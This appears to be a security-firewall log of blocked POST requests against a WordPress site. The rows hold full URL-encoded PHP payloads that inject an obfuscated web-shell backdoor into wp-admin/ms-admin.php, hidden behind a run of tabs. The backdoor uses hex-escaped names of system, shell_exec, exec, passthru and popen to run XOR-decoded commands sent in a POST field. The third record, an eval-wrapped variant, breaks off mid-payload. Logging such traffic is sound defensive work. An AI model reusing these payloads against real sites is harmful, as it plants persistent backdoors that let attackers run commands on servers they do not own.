["2026-05-12 22:54:41","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-length:5250\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE08vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nGO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:54:46","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJ8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5250\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nQo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:54:50","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5273\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520